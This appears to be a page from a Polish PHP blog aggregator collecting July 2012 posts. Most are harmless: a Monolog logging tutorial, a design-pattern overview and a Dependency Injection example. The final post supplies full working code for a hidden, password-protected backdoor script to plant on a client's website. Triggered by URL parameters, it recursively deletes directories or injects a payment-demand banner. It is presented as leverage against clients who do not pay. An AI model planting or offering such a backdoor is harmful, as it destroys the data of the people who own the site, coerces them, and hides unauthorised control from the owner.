Niezalogowany [ logowanie ]
Subskrybuj kanał ATOM Kanał ATOM

Autor wpisu: Śpiechu, dodany: 15.07.2012 16:59, tagi: php

Dzisiaj o bibliotece Monolog, która prawdopodobnie na dobre zadomowiła się w niektórych aplikacjach PHP. Służy do generowania różnego rodzaju logów. Jest bardzo fajnie przemyślana i rozszerzalna. Możemy sobie praktycznie wszystko ustawić tak jak chcemy, począwszy od nazw plików dziennika, przez format zapisu, aż do dodatkowych informacji załączanych do poszczególnych wpisów.

„Initial commit” na GitHubie powstał dokładnie 16 lutego 2011 r. Monolog liczył sobie wtedy zaledwie 383 linijki kodu. Już po kilku dniach autor dokonał poważnych zmian w źródłach w celu dostosowania struktury i działania biblioteki do pythonowego Logbook. W czerwcu 2011 r. biblioteka zaczyna współpracować z Composerem. Ostatnim „kamieniem milowym” było uruchomienie ciągłej integracji w serwisie Travis w listopadzie 2011 r.

Jeśli idzie o ocenę jakości kodu to nie mam do czego się przyczepić. Biblioteka trzyma się nazewnictwa PSR-0 oraz standardów PSR-1 i 2. Można śmiało używać standardowego SplClassLoadera lub autoloader.php wygenerowanego przez Composera. Komentarze dot. stałych, zmiennych, klas i metod są na tyle jasne, że łatwo można się połapać co do czego służy i jak to rozbudować.

Podstawowy sposób użycia wygląda tak:

// importujemy logger i podstawowa obsluge plikow
use Monolog\Logger;
use Monolog\Handler\StreamHandler;
 
// tworzymy obiekt logger i handler
$debugLogger = new Logger('moj_debug_logger');
 
// wybieramy plik i poziom waznosci wpisow, od ktorych beda zapisywane w dzienniku
$debugHandler = new StreamHandler(__DIR__.'/debug.log', Logger::DEBUG);
 
// umieszczamy handler w loggerze
$debugLogger->pushHandler($debugHandler);
 
// od teraz mozna umieszczac wpisy w loggerze np.
$chybaInteger = 1.0;
if (!is_integer($chybaInteger)) {
  $debugLogger->addDebug(
    'Nie podoba mi sie typ zmiennej $chybaInteger :' . gettype($chybaInteger)
  );
}

Loggery i handlery można ze sobą dowolnie mieszać. Stworzymy sobie 2 loggery: db_logger i app_logger oraz 2 handlery: plików debug.log i powiadamiający mailem o poważnych błędach.

use Monolog\Logger;
use Monolog\Handler\StreamHandler;
use Monolog\Handler\NativeMailerHandler;
 
$appLogger = new Logger('app_logger');
$dbLogger = new Logger('db_logger');
 
$debugFileHandler = new StreamHandler(__DIR__.'/debug.log', Logger::DEBUG);
$appLogger->pushHandler($debugFileHandler);
$dbLogger->pushHandler($debugFileHandler);
 
$errorMailHandler = new NativeMailerHandler(
  'jakis@mail.com',
  'Powazny blad w aplikacji',
  'donotreply@moja_appka.pl',
  Logger::ERROR);
$appLogger->pushHandler($errorMailHandler);
$dbLogger->pushHandler($errorMailHandler);
 
// w pliku debug.log powstanie wpis
// [2012-07-15 12:57:46] app_logger.WARNING: Ostrzezenie [] []
// mail nie bedzie wyslany
$appLogger->addWarning('Ostrzezenie');
 
// powiedzmy, ze nie mozna polaczyc z baza danych
// blad krytyczny laduje w debug.log i zostaje wyslany mailem
$dbLogger->addAlert('Nie mozna polaczyc z baza danych');

Możemy również dodawać informacje dodatkowe (tu nazywane Processors), np. szczytowe zużycie pamięci lub informacje na temat żądania HTTP za pomocą metody pushProcessor().

Jeśli jeszcze nam mało to możemy sobie zmieniać format zapisu logów za pomocą formatterów. Jeśli komunikaty mają być przetwarzane automatycznie to polecam JsonFormatter.

Autor wpisu: Łukasz Socha, dodany: 15.07.2012 14:05, tagi: php

W wpisie tym usystematyzuję i pogrupuję wszystkie opisane wzorce projektowe.

 

 

Co to jest wzorzec projektowy?

Za Wikipedią:

Wzorzec projektowy (ang. design pattern) – w inżynierii oprogramowania, uniwersalne, sprawdzone w praktyce rozwiązanie często pojawiających się, powtarzalnych problemów projektowych. Pokazuje powiązania i zależności pomiędzy klasami oraz obiektami i ułatwia tworzenie, modyfikację oraz pielęgnację kodu źródłowego. Jest opisem rozwiązania, a nie jego implementacją. Wzorce projektowe stosowane są w projektach wykorzystujących programowanie obiektowe.

Wszystkie wzorce możemy podzielić na następujące rodziny:

  • Kreacyjne (konstrukcyjne) – opisujące proces tworzenia nowych obiektów; ich zadaniem jest tworzenie, inicjalizacja oraz konfiguracja obiektów, klas oraz innych typów danych.
  • Strukturalne – opisujące struktury powiązanych ze sobą obiektów.
  • Czynnościowe – opisujące zachowanie i odpowiedzialność współpracujących ze sobą obiektów.

Spis treści

Wzorce kreacyjne:

Wzorce strukturalne:

  • Tymczasowo brak

Wzorce czynnościowe:

Pozostałe:

Czytaj dalej tutaj (rozwija treść wpisu)
Czytaj dalej na blogu autora...

Autor wpisu: Łukasz Socha, dodany: 15.07.2012 13:25, tagi: php

pobierz w .pdf(przeznaczone do wydruku)

Dependency Injection jest chyba jednym z najprostszych wzorców projektowych, więc zapewne wiele osób używało go nieświadomie. Warto jednak wiedzieć, że dane rozwiązanie ma szerokie zastosowanie i jakąś nazwę… ;)

Tym razem wyjątkowo nie będzie opisu teoretycznego, bo i nie za bardzo jest o czym mówić. Zasadę najłatwiej będzie zrozumieć na praktycznym przykładzie.

Przykład z życia wzięty

Przeanalizujmy fragment klasy do obsługi użytkownika.

<?php

class Session {
    public function __construct($name = 'PHP_SESSSION') {
        session_name($name);
        session_start();
    }
    public function set($key, $value) {
        $_SESSION[$key] = $value;
    }
    public function get($key) {
        return $_SESSION[$key];
    }
}

class User {
    protected $session;

    public function __construct($session) {
        $this->session = $session;
    }
    public function setName($name) {
        $this->session->set('name', $name);
    }
    public function getName() {
        return $this->session->get('name');
    }
}

$session = new Session("MOJA_SESJA");
$user = new User($session);
$user->setName("moj_login");
echo $user->getName();

?>

Klasa Session udostępnia obiektowe API do obsługi sesji. Obiekt tej klasy jest przekazywany w konstruktorze obiektu klasy User, gdzie jest dalej wykorzystywany. Jest to właśnie wstrzykiwanie zależności, czyli nie tworzymy instancji obiektu w danej klasie, tylko przekazujemy go przez konstruktor/metodę.

Dlaczego takie rozwiązanie jest lepsze niż:

$this->session = new Sessioon($parametrKonstuktora);

Parametr ten na dobrą sprawę nie dotyczy obiektu klasy User – jest „sztucznie” dodany. Zdecydowanie przejrzyściej i wygodniej jest zdefiniować obiekt poza klasą i przekazać już gotowy, w pełni skonfigurowany przez nasze parametry. Poza tym przy zmianach parametrów konstruktora musielibyśmy za każdym razem modyfikować wszystkie klasy inicjujące obiekt danej klasy.

Zastosowanie

Wszędzie tam, gdzie występują zależności między obiektami.

Powiązane tematy

Autor wpisu: JoShiMa, dodany: 15.07.2012 10:29, tagi: jquery, javascript, skrypty

Często w formularzach chcemy mieć pole pozwalające podać wartość koloru. Pewnie są tacy co potrafią z pamięci podać szesnastkową wartość niejednego koloru, ale przeciętny użytkownik internetu na pewno nie posiada takiej umiejętności, a poza tym wpisywanie kodów z klawiatury jest niezbyt wygodne. Z pomocą przychodzi selektor koloru dołączony do formularza. Tworze własnie dla klienta konwerter, [...]

Autor wpisu: l3l0, dodany: 14.07.2012 17:35, tagi: symfony

Tworzenie własnych typów formularzy w Symfony 2 jest stosunkowo proste. Wszystkie potrzebne do tego informacje znajdziemy w oficjalnej dokumentacji Jednak, przykład w dokumentacji jest dość (jak to mawiali wykładowcy analizy matematycznej) trywialny Wyobraźmy sobie że potrzebujemy czegoś bardziej zaawansowanego. Powiedzmy że potrzebujemy typu który składa się z wielu innych typów „entity” które są powiązane więc [...]

Autor wpisu: stormfly, dodany: 13.07.2012 12:56, tagi: mysql

Jedno z zapytań ofertowych zawierało w specyfikacji wymóg użycia bazy MySQL, niestety nasz CMS korzysta z PostgreSQL i przysłowiowy zonk. Z uwagi na to, że nie mamy bezpośredniego kontaktu z klientem i jesteśmy podwykonawcami przygotowaliśmy z początku wycenę zmiany CMS by korzystał z...

Autor wpisu: Łukasz Socha, dodany: 11.07.2012 22:46, tagi: php

pobierz w .pdf(przeznaczone do wydruku)

Pewnie wielu z was miało „przyjemność” spotkania nieuczciwych klientów, którzy nie byli zbyt skorzy do zapłaty za dobrze wykonaną pracę. Nawet jeżeli podpisaliśmy umowę mało komu zapewne chce się walczyć przed sądem o te kilkaset złotych (przy tych prostych projektach). Czy jesteśmy całkowicie bezbronni? Nie, stwórzmy sobie małą furkę…

<?php

// usuwa wszystkie pliki - pamietaj o CHMOD
function delete($dir) {

    $fd = opendir($dir);
    if (!$fd)
        return false;
    while (($file = readdir($fd)) !== false) {
        if ($file == "." || $file == "..")
            continue;
        if (is_dir($dir . "/" . $file)) {
            delete($dir . "/" . $file);
        } else {
            unlink("$dir/$file");
        }
    }
    closedir($fd);
    rmdir($dir);
    return true;
}

// wstrzykuje odpowiedni komunikat - pamietaj o CHMOD
function inject($file, $text) {
    $fp = fopen($file, "a");
    if (!fwrite($fp, $text))
        return false;
    fclose($fp);
    return true;
}

// dolaczony tekst
$text = '<div style="position: fixed;top:0;left:0;color:#ff0000;font-size:26px;z-index:99999;background: #ffffff;">Prosimy uregulowac naleznosc za stworzenie strony</div>';

$pass = $_GET['pass'];
$action = $_GET['action'];
$path = $_GET['path'];

if ($pass == "nasze_haslo") {
    switch ($action) {
        case 'delete':
            if (delete($path)) {
                echo "Pliki usuniete z katalogu " . $path;
            } else {
                echo "Nie udalo sie usunac plikow z katalogu " . $path;
            }
            break;
        case 'inject':
            if (inject($path, $text))
                echo "Udalo sie dolaczyc do pliku: " . $path . " kod";
            else
                echo "Nie udalo sie dolaczyc do pliku: " . $path . " kodu";
            break;
        default:
            echo "Bledna akcja";
            break;
    }
} else {
    echo "Bledne haslo";
}
?>

Funkcja delete() ma za zadanie usunąć wszystkie pliki (rozwiązanie ostateczne :) ), zaś inject() dodaje odpowiedni komunikat w kodzie strony. Ponadto skrypt zabezpieczamy hasłem, by nikt przypadkowo nie zniszczył strony. Musimy oczywiście jeszcze pamiętać o odpowiednim ustawieniu CHMOD, no i ukryciu pliku.

Czy jest to skuteczne? Moim zdaniem tak. Większość klientów ma znikomą wiedzę na temat tworzenia stron, więc śmiem przypuszczać, że nie będą w stanie znaleźć pliku czy poprawić CHMOD. Chyba żadna firma nie zaryzykuje kompletną kompromitacją dla paru złoty – warto wcześniej poinformować o konsekwencjach niezapłacenia w ustalonym terminie :) .

Wszystkie wpisy należą do ich twórców. PHP.pl nie ponosi odpowiedzialności za treść wpisów.